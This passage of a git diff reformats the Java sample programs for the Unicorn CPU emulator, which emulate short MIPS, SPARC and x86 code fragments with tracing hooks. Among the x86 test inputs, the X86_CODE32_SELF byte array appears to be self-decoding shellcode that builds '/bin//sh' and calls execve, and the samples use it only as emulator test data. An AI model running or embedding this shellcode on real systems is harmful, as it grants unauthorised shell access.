u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, MIPS_CODE_EB); + + // initialize machine registers + u.reg_write(Unicorn.UC_MIPS_REG_1, r1); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EB.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + r1 = (Long) u.reg_read(Unicorn.UC_MIPS_REG_1); + System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue())); + + u.close(); + } + + static void test_mips_el() { + Long r1 = 0x6789L; // R1 register + + System.out.print("===========================\n"); + System.out.print("Emulate MIPS code (little-endian)\n"); + + // Initialize emulator in MIPS mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS, + Unicorn.UC_MODE_MIPS32 + Unicorn.UC_MODE_LITTLE_ENDIAN); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, MIPS_CODE_EL); + + // initialize machine registers + u.reg_write(Unicorn.UC_MIPS_REG_1, r1); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EL.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + r1 = (Long) u.reg_read(Unicorn.UC_MIPS_REG_1); + System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue())); + + u.close(); + } + + public static void main(String args[]) { + test_mips_eb(); + test_mips_el(); + } } diff --git a/bindings/java/samples/Sample_sparc.java b/bindings/java/samples/Sample_sparc.java index b2849f45..b11eb8d7 100644 --- a/bindings/java/samples/Sample_sparc.java +++ b/bindings/java/samples/Sample_sparc.java @@ -28,88 +28,91 @@ import unicorn.*; public class Sample_sparc { - // code to be emulated - public static final byte[] SPARC_CODE = {-122,0,64,2}; - //public static final byte[] SPARC_CODE = {-69,112,0,0}; //illegal code - - // memory address where emulation starts - public static final int ADDRESS = 0x10000; - - public static final long toInt(byte val[]) { - long res = 0; - for (int i = 0; i < val.length; i++) { - long v = val[i] & 0xff; - res = res + (v << (i * 8)); - } - return res; - } + // code to be emulated + public static final byte[] SPARC_CODE = { -122, 0, 64, 2 }; + //public static final byte[] SPARC_CODE = {-69,112,0,0}; //illegal code - public static final byte[] toBytes(long val) { - byte[] res = new byte[8]; - for (int i = 0; i < 8; i++) { - res[i] = (byte)(val & 0xff); - val >>>= 8; - } - return res; - } + // memory address where emulation starts + public static final int ADDRESS = 0x10000; - // callback for tracing basic blocks - private static class MyBlockHook implements BlockHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size)); - } - } - - // callback for tracing instruction - private static class MyCodeHook implements CodeHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); - } - } - - static void test_sparc() - { - Long g1 = 0x1230L; // G1 register - Long g2 = 0x6789L; // G2 register - Long g3 = 0x5555L; // G3 register - - System.out.print("Emulate SPARC code\n"); - - // Initialize emulator in Sparc mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_SPARC, Unicorn.UC_MODE_32 + Unicorn.UC_MODE_BIG_ENDIAN); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, SPARC_CODE); - - // initialize machine registers - u.reg_write(Unicorn.UC_SPARC_REG_G1, g1); - u.reg_write(Unicorn.UC_SPARC_REG_G2, g2); - u.reg_write(Unicorn.UC_SPARC_REG_G3, g3); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing one instruction at ADDRESS with customized callback - u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); + public static final long toInt(byte val[]) { + long res = 0; + for (int i = 0; i < val.length; i++) { + long v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } - // emulate machine code in infinite time (last param = 0), or when - // finishing all the code. - u.emu_start(ADDRESS, ADDRESS + SPARC_CODE.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - g3 = (Long)u.reg_read(Unicorn.UC_SPARC_REG_G3); - System.out.print(String.format(">>> G3 = 0x%x\n", g3.intValue())); - - u.close(); - } - - public static void main(String args[]) - { - test_sparc(); - } + public static final byte[] toBytes(long val) { + byte[] res = new byte[8]; + for (int i = 0; i < 8; i++) { + res[i] = (byte) (val & 0xff); + val >>>= 8; + } + return res; + } + + // callback for tracing basic blocks + private static class MyBlockHook implements BlockHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.print(String.format( + ">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, + size)); + } + } + + // callback for tracing instruction + private static class MyCodeHook implements CodeHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.print(String.format( + ">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size)); + } + } + + static void test_sparc() { + Long g1 = 0x1230L; // G1 register + Long g2 = 0x6789L; // G2 register + Long g3 = 0x5555L; // G3 register + + System.out.print("Emulate SPARC code\n"); + + // Initialize emulator in Sparc mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_SPARC, + Unicorn.UC_MODE_32 + Unicorn.UC_MODE_BIG_ENDIAN); + + // map 2MB memory for this emulation + u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + u.mem_write(ADDRESS, SPARC_CODE); + + // initialize machine registers + u.reg_write(Unicorn.UC_SPARC_REG_G1, g1); + u.reg_write(Unicorn.UC_SPARC_REG_G2, g2); + u.reg_write(Unicorn.UC_SPARC_REG_G3, g3); + + // tracing all basic blocks with customized callback + u.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing one instruction at ADDRESS with customized callback + u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + u.emu_start(ADDRESS, ADDRESS + SPARC_CODE.length, 0, 0); + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + g3 = (Long) u.reg_read(Unicorn.UC_SPARC_REG_G3); + System.out.print(String.format(">>> G3 = 0x%x\n", g3.intValue())); + + u.close(); + } + + public static void main(String args[]) { + test_sparc(); + } } diff --git a/bindings/java/samples/Sample_x86.java b/bindings/java/samples/Sample_x86.java index 652663f8..dcef5623 100644 --- a/bindings/java/samples/Sample_x86.java +++ b/bindings/java/samples/Sample_x86.java @@ -28,642 +28,679 @@ import unicorn.*; public class Sample_x86 { - // code to be emulated - public static final byte[] X86_CODE32 = {65,74}; - public static final byte[] X86_CODE32_JUMP = {-21,2,-112,-112,-112,-112,-112,-112}; - public static final byte[] X86_CODE32_SELF = {-21,28,90,-119,-42,-117,2,102,61,-54,125,117,6,102,5,3,3,-119,2,-2,-62,61,65,65,65,65,117,-23,-1,-26,-24,-33,-1,-1,-1,49,-46,106,11,88,-103,82,104,47,47,115,104,104,47,98,105,110,-119,-29,82,83,-119,-31,-54,125,65,65,65,65}; - public static final byte[] X86_CODE32_LOOP = {65,74,-21,-2}; - public static final byte[] X86_CODE32_MEM_WRITE = {-119,13,-86,-86,-86,-86,65,74}; - public static final byte[] X86_CODE32_MEM_READ = {-117,13,-86,-86,-86,-86,65,74}; - public static final byte[] X86_CODE32_JMP_INVALID = {-23,-23,-18,-18,-18,65,74}; - public static final byte[] X86_CODE32_INOUT = {65,-28,63,74,-26,70,67}; - public static final byte[] X86_CODE64 = {65,-68,59,-80,40,42,73,15,-55,-112,77,15,-83,-49,73,-121,-3,-112,72,-127,-46,-118,-50,119,53,72,-9,-39,77,41,-12,73,-127,-55,-10,-118,-58,83,77,-121,-19,72,15,-83,-46,73,-9,-44,72,-9,-31,77,25,-59,77,-119,-59,72,-9,-42,65,-72,79,-115,107,89,77,-121,-48,104,106,30,9,60,89}; - public static final byte[] X86_CODE16 = {0, 0}; // add byte ptr [bx + si], al - - // memory address where emulation starts - public static final int ADDRESS = 0x1000000; - - public static final long toInt(byte val[]) { - long res = 0; - for (int i = 0; i < val.length; i++) { - long v = val[i] & 0xff; - res = res + (v << (i * 8)); - } - return res; - } + // code to be emulated + public static final byte[] X86_CODE32 = { 65, 74 }; + public static final byte[] X86_CODE32_JUMP = + { -21, 2, -112, -112, -112, -112, -112, -112 }; + public static final byte[] X86_CODE32_SELF = { -21, 28, 90, -119, -42, -117, + 2, 102, 61, -54, 125, 117, 6, 102, 5, 3, 3, -119, 2, -2, -62, 61, 65, + 65, 65, 65, 117, -23, -1, -26, -24, -33, -1, -1, -1, 49, -46, 106, 11, + 88, -103, 82, 104, 47, 47, 115, 104, 104, 47, 98, 105, 110, -119, -29, + 82, 83, -119, -31, -54, 125, 65, 65, 65, 65 }; + public static final byte[] X86_CODE32_LOOP = { 65, 74, -21, -2 }; + public static final byte[] X86_CODE32_MEM_WRITE = + { -119, 13, -86, -86, -86, -86, 65, 74 }; + public static final byte[] X86_CODE32_MEM_READ = + { -117, 13, -86, -86, -86, -86, 65, 74 }; + public static final byte[] X86_CODE32_JMP_INVALID = + { -23, -23, -18, -18, -18, 65, 74 }; + public static final byte[] X86_CODE32_INOUT = + { 65, -28, 63, 74, -26, 70, 67 }; + public static final byte[] X86_CODE64 = { 65, -68, 59, -80, 40, 42, 73, 15, + -55, -112, 77, 15, -83, -49, 73, -121, -3, -112, 72, -127, -46, -118, + -50, 119, 53, 72, -9, -39, 77, 41, -12, 73, -127, -55, -10, -118, -58, + 83, 77, -121, -19, 72, 15, -83, -46, 73, -9, -44, 72, -9, -31, 77, 25, + -59, 77, -119, -59, 72, -9, -42, 65, -72, 79, -115, 107, 89, 77, -121, + -48, 104, 106, 30, 9, 60, 89 }; + public static final byte[] X86_CODE16 = { 0, 0 }; // add byte ptr [bx + si], al - public static final byte[] toBytes(long val) { - byte[] res = new byte[8]; - for (int i = 0; i < 8; i++) { - res[i] = (byte)(val & 0xff); - val >>>= 8; - } - return res; - } - - // callback for tracing basic blocks - // callback for tracing instruction - private static class MyBlockHook implements BlockHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.printf(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size); - } - } - - // callback for tracing instruction - private static class MyCodeHook implements CodeHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.printf(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size); - - Long eflags = (Long)u.reg_read(Unicorn.UC_X86_REG_EFLAGS); - System.out.printf(">>> --- EFLAGS is 0x%x\n", eflags.intValue()); - - // Uncomment below code to stop the emulation using uc_emu_stop() - // if (address == 0x1000009) - // u.emu_stop(); - } - } - - private static class MyWriteInvalidHook implements EventMemHook { - public boolean hook(Unicorn u, long address, int size, long value, Object user) { - System.out.printf(">>> Missing memory is being WRITE at 0x%x, data size = %d, data value = 0x%x\n", - address, size, value); - // map this memory in with 2MB in size - u.mem_map(0xaaaa0000, 2 * 1024*1024, Unicorn.UC_PROT_ALL); - // return true to indicate we want to continue - return true; - } - } - - // callback for tracing instruction - private static class MyCode64Hook implements CodeHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - Long r_rip = (Long)u.reg_read(Unicorn.UC_X86_REG_RIP); - System.out.printf(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size); - System.out.printf(">>> RIP is 0x%x\n", r_rip.longValue()); - - // Uncomment below code to stop the emulation using uc_emu_stop() - // if (address == 0x1000009) - // uc_emu_stop(handle); - } - } + // memory address where emulation starts + public static final int ADDRESS = 0x1000000; - - private static class MyRead64Hook implements ReadHook { - public void hook(Unicorn u, long address, int size, Object user) { - System.out.printf(">>> Memory is being READ at 0x%x, data size = %d\n", address, size); - } - } + public static final long toInt(byte val[]) { + long res = 0; + for (int i = 0; i < val.length; i++) { + long v = val[i] & 0xff; + res = res + (v << (i * 8)); + } + return res; + } - private static class MyWrite64Hook implements WriteHook { - public void hook(Unicorn u, long address, int size, long value, Object user) { - System.out.printf(">>> Memory is being WRITE at 0x%x, data size = %d, data value = 0x%x\n", - address, size, value); - } - } - - // callback for IN instruction (X86). - // this returns the data read from the port - private static class MyInHook implements InHook { - public int hook(Unicorn u, int port, int size, Object user_data) { - Long r_eip = (Long)u.reg_read(Unicorn.UC_X86_REG_EIP); - - System.out.printf("--- reading from port 0x%x, size: %d, address: 0x%x\n", port, size, r_eip.intValue()); - - switch(size) { + public static final byte[] toBytes(long val) { + byte[] res = new byte[8]; + for (int i = 0; i < 8; i++) { + res[i] = (byte) (val & 0xff); + val >>>= 8; + } + return res; + } + + // callback for tracing basic blocks + // callback for tracing instruction + private static class MyBlockHook implements BlockHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.printf( + ">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, + size); + } + } + + // callback for tracing instruction + private static class MyCodeHook implements CodeHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + System.out.printf( + ">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size); + + Long eflags = (Long) u.reg_read(Unicorn.UC_X86_REG_EFLAGS); + System.out.printf(">>> --- EFLAGS is 0x%x\n", eflags.intValue()); + + // Uncomment below code to stop the emulation using uc_emu_stop() + // if (address == 0x1000009) + // u.emu_stop(); + } + } + + private static class MyWriteInvalidHook implements EventMemHook { + public boolean hook(Unicorn u, long address, int size, long value, + Object user) { + System.out.printf( + ">>> Missing memory is being WRITE at 0x%x, data size = %d, data value = 0x%x\n", + address, size, value); + // map this memory in with 2MB in size + u.mem_map(0xaaaa0000, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + // return true to indicate we want to continue + return true; + } + } + + // callback for tracing instruction + private static class MyCode64Hook implements CodeHook { + public void hook(Unicorn u, long address, int size, Object user_data) { + Long r_rip = (Long) u.reg_read(Unicorn.UC_X86_REG_RIP); + System.out.printf( + ">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", + address, size); + System.out.printf(">>> RIP is 0x%x\n", r_rip.longValue()); + + // Uncomment below code to stop the emulation using uc_emu_stop() + // if (address == 0x1000009) + // uc_emu_stop(handle); + } + } + + private static class MyRead64Hook implements ReadHook { + public void hook(Unicorn u, long address, int size, Object user) { + System.out.printf( + ">>> Memory is being READ at 0x%x, data size = %d\n", address, + size); + } + } + + private static class MyWrite64Hook implements WriteHook { + public void hook(Unicorn u, long address, int size, long value, + Object user) { + System.out.printf( + ">>> Memory is being WRITE at 0x%x, data size = %d, data value = 0x%x\n", + address, size, value); + } + } + + // callback for IN instruction (X86). + // this returns the data read from the port + private static class MyInHook implements InHook { + public int hook(Unicorn u, int port, int size, Object user_data) { + Long r_eip = (Long) u.reg_read(Unicorn.UC_X86_REG_EIP); + + System.out.printf( + "--- reading from port 0x%x, size: %d, address: 0x%x\n", port, + size, r_eip.intValue()); + + switch (size) { case 1: - // read 1 byte to AL - return 0xf1; + // read 1 byte to AL + return 0xf1; case 2: - // read 2 byte to AX - return 0xf2; + // read 2 byte to AX + return 0xf2; case 4: - // read 4 byte to EAX - return 0xf4; - } - return 0; - } - } - - // callback for OUT instruction (X86). - private static class MyOutHook implements OutHook { - public void hook(Unicorn u, int port, int size, int value, Object user) { - Long eip = (Long)u.reg_read(Unicorn.UC_X86_REG_EIP); - Long tmp = null; - System.out.printf("--- writing to port 0x%x, size: %d, value: 0x%x, address: 0x%x\n", port, size, value, eip.intValue()); - - // confirm that value is indeed the value of AL/AX/EAX - switch(size) { + // read 4 byte to EAX + return 0xf4; + } + return 0; + } + } + + // callback for OUT instruction (X86). + private static class MyOutHook implements OutHook { + public void hook(Unicorn u, int port, int size, int value, + Object user) { + Long eip = (Long) u.reg_read(Unicorn.UC_X86_REG_EIP); + Long tmp = null; + System.out.printf( + "--- writing to port 0x%x, size: %d, value: 0x%x, address: 0x%x\n", + port, size, value, eip.intValue()); + + // confirm that value is indeed the value of AL/AX/EAX + switch (size) { default: - return; // should never reach this + return; // should never reach this case 1: - tmp = (Long)u.reg_read(Unicorn.UC_X86_REG_AL); - break; + tmp = (Long) u.reg_read(Unicorn.UC_X86_REG_AL); + break; case 2: - tmp = (Long)u.reg_read(Unicorn.UC_X86_REG_AX); - break; + tmp = (Long) u.reg_read(Unicorn.UC_X86_REG_AX); + break; case 4: - tmp = (Long)u.reg_read(Unicorn.UC_X86_REG_EAX); - break; - } - - System.out.printf("--- register value = 0x%x\n", tmp.intValue()); - } - } - - static void test_i386() { - Long r_ecx = 0x1234L; // ECX register - Long r_edx = 0x7890L; // EDX register - - System.out.print("Emulate i386 code\n"); - - // Initialize emulator in X86-32bit mode - Unicorn uc; - try { - uc = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - } catch (UnicornException uex) { - System.out.println("Failed on uc_open() with error returned: " + uex); - return; - } - - // map 2MB memory for this emulation - uc.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - try { - uc.mem_write(ADDRESS, X86_CODE32); - } catch (UnicornException uex) { - System.out.println("Failed to write emulation code to memory, quit!\n"); - return; - } - - // initialize machine registers - uc.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); - uc.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); - - // tracing all basic blocks with customized callback - uc.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing all instruction by having @begin > @end - uc.hook_add(new MyCodeHook(), 1, 0, null); - - // emulate machine code in infinite time - try { - uc.emu_start(ADDRESS, ADDRESS + X86_CODE32.length, 0, 0); - } catch (UnicornException uex) { - System.out.printf("Failed on uc_emu_start() with error : %s\n", - uex.getMessage()); - } - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - r_ecx = (Long)uc.reg_read(Unicorn.UC_X86_REG_ECX); - r_edx = (Long)uc.reg_read(Unicorn.UC_X86_REG_EDX); - System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); - System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); - - // read from memory - try { - byte[] tmp = uc.mem_read(ADDRESS, 4); - System.out.printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", ADDRESS, toInt(tmp)); + tmp = (Long) u.reg_read(Unicorn.UC_X86_REG_EAX); + break; + } + + System.out.printf("--- register value = 0x%x\n", tmp.intValue()); + } + } + + static void test_i386() { + Long r_ecx = 0x1234L; // ECX register + Long r_edx = 0x7890L; // EDX register + + System.out.print("Emulate i386 code\n"); + + // Initialize emulator in X86-32bit mode + Unicorn uc; + try { + uc = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); + } catch (UnicornException uex) { + System.out + .println("Failed on uc_open() with error returned: " + uex); + return; + } + + // map 2MB memory for this emulation + uc.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); + + // write machine code to be emulated to memory + try { + uc.mem_write(ADDRESS, X86_CODE32); + } catch (UnicornException uex) { + System.out.println( + "Failed to write emulation code to memory, quit!\n"); + return; + } + + // initialize machine registers + uc.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); + uc.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); + + // tracing all basic blocks with customized callback + uc.hook_add(new MyBlockHook(), 1, 0, null); + + // tracing all instruction by having @begin > @end + uc.hook_add(new MyCodeHook(), 1, 0, null); + + // emulate machine code in infinite time + try { + uc.emu_start(ADDRESS, ADDRESS + X86_CODE32.length, 0, 0); + } catch (UnicornException uex) { + System.out.printf("Failed on uc_emu_start() with error : %s\n", + uex.getMessage()); + } + + // now print out some registers + System.out.print(">>> Emulation done. Below is the CPU context\n"); + + r_ecx = (Long) uc.reg_read(Unicorn.UC_X86_REG_ECX); + r_edx = (Long) uc.reg_read(Unicorn.UC_X86_REG_EDX); + System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); + System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); + + // read from memory + try { + byte[] tmp = uc.mem_read(ADDRESS, 4); + System.out.printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", ADDRESS, + toInt(tmp)); } catch (UnicornException ex) { - System.out.printf(">>> Failed to read 4 bytes from [0x%x]\n", ADDRESS); - } - uc.close(); - } + System.out.printf(">>> Failed to read 4 bytes from [0x%x]\n", + ADDRESS); + } + uc.close(); + } - static void test_i386_inout() - { - Long r_eax = 0x1234L; // ECX register - Long r_ecx = 0x6789L; // EDX register - - System.out.print("===================================\n"); - System.out.print("Emulate i386 code with IN/OUT instructions\n"); - - // Initialize emulator in X86-32bit mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, X86_CODE32_INOUT); - - // initialize machine registers - u.reg_write(Unicorn.UC_X86_REG_EAX, r_eax); - u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing all instructions - u.hook_add(new MyCodeHook(), 1, 0, null); - - // handle IN instruction - u.hook_add(new MyInHook(), null); - // handle OUT instruction - u.hook_add(new MyOutHook(), null); - - // emulate machine code in infinite time - u.emu_start(ADDRESS, ADDRESS + X86_CODE32_INOUT.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - r_eax = (Long)u.reg_read(Unicorn.UC_X86_REG_EAX); - r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX); - System.out.printf(">>> EAX = 0x%x\n", r_eax.intValue()); - System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); - - u.close(); - } + static void test_i386_inout() { + Long r_eax = 0x1234L; // ECX register + Long r_ecx = 0x6789L; // EDX register - static void test_i386_jump() - { - System.out.print("===================================\n"); - System.out.print("Emulate i386 code with jump\n"); - - // Initialize emulator in X86-32bit mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, X86_CODE32_JUMP); - - // tracing 1 basic block with customized callback - u.hook_add(new MyBlockHook(), ADDRESS, ADDRESS, null); - - // tracing 1 instruction at ADDRESS - u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); - - // emulate machine code in infinite time - u.emu_start(ADDRESS, ADDRESS + X86_CODE32_JUMP.length, 0, 0); - - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - u.close(); - } + System.out.print("===================================\n"); + System.out.print("Emulate i386 code with IN/OUT instructions\n"); - // emulate code that loop forever - static void test_i386_loop() - { - Long r_ecx = 0x1234L; // ECX register - Long r_edx = 0x7890L; // EDX register - - System.out.print("===================================\n"); - System.out.print("Emulate i386 code that loop forever\n"); - - // Initialize emulator in X86-32bit mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, X86_CODE32_LOOP); - - // initialize machine registers - u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); - u.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); - - // emulate machine code in 2 seconds, so we can quit even - // if the code loops - u.emu_start(ADDRESS, ADDRESS + X86_CODE32_LOOP.length, 2 * Unicorn.UC_SECOND_SCALE, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX); - r_edx = (Long)u.reg_read(Unicorn.UC_X86_REG_EDX); - System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); - System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); - - u.close(); - } - - // emulate code that read invalid memory - static void test_i386_invalid_mem_read() - { - Long r_ecx = 0x1234L; // ECX register - Long r_edx = 0x7890L; // EDX register - - System.out.print("===================================\n"); - System.out.print("Emulate i386 code that read from invalid memory\n"); - - // Initialize emulator in X86-32bit mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, X86_CODE32_MEM_READ); - - // initialize machine registers - u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); - u.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing all instruction by having @begin > @end - u.hook_add(new MyCodeHook(), 1, 0, null); - - // emulate machine code in infinite time - try { - u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_READ.length, 0, 0); - } catch (UnicornException uex) { - int err = u.errno(); - System.out.printf("Failed on u.emu_start() with error returned: %s\n", uex.getMessage()); - } - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX); - r_edx = (Long)u.reg_read(Unicorn.UC_X86_REG_EDX); - System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); - System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); - - u.close(); - } - - // emulate code that read invalid memory - static void test_i386_invalid_mem_write() - { - Long r_ecx = 0x1234L; // ECX register - Long r_edx = 0x7890L; // EDX register - - System.out.print("===================================\n"); - System.out.print("Emulate i386 code that write to invalid memory\n"); - - // Initialize emulator in X86-32bit mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, X86_CODE32_MEM_WRITE); - - // initialize machine registers - u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); - u.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing all instruction by having @begin > @end - u.hook_add(new MyCodeHook(), 1, 0, null); - - // intercept invalid memory events - u.hook_add(new MyWriteInvalidHook(), Unicorn.UC_HOOK_MEM_WRITE_UNMAPPED, null); - - // emulate machine code in infinite time - try { - u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_WRITE.length, 0, 0); - } catch (UnicornException uex) { - System.out.printf("Failed on uc_emu_start() with error returned: %s\n", uex.getMessage()); - } - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX); - r_edx = (Long)u.reg_read(Unicorn.UC_X86_REG_EDX); - System.out.printf(">>> ECX = 0x%x\n", r_ecx.intValue()); - System.out.printf(">>> EDX = 0x%x\n", r_edx.intValue()); - - // read from memory - byte tmp[] = u.mem_read(0xaaaaaaaa, 4); - System.out.printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", 0xaaaaaaaa, toInt(tmp)); - - try { - u.mem_read(0xffffffaa, 4); - System.out.printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", 0xffffffaa, toInt(tmp)); - } catch (UnicornException uex) { - System.out.printf(">>> Failed to read 4 bytes from [0x%x]\n", 0xffffffaa); - } - - u.close(); - } + // Initialize emulator in X86-32bit mode + Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - // emulate code that jump to invalid memory - static void test_i386_jump_invalid() - { - Long r_ecx = 0x1234L; // ECX register - Long r_edx = 0x7890L; // EDX register - - System.out.print("===================================\n"); - System.out.print("Emulate i386 code that jumps to invalid memory\n"); - - // Initialize emulator in X86-32bit mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, X86_CODE32_JMP_INVALID); - - // initialize machine registers - u.reg_write(Unicorn.UC_X86_REG_ECX, r_ecx); - u.reg_write(Unicorn.UC_X86_REG_EDX, r_edx); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing all instructions by having @begin > @end - u.hook_add(new MyCodeHook(), 1, 0, null); - - // emulate machine code in infinite time - try { - u.emu_start(ADDRESS, ADDRESS + X86_CODE32_JMP_INVALID.length, 0, 0); - } catch (UnicornException uex) { - System.out.printf("Failed on uc_emu_start() with error returned: %s\n", uex.getMessage()); - } - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX); - r_edx = 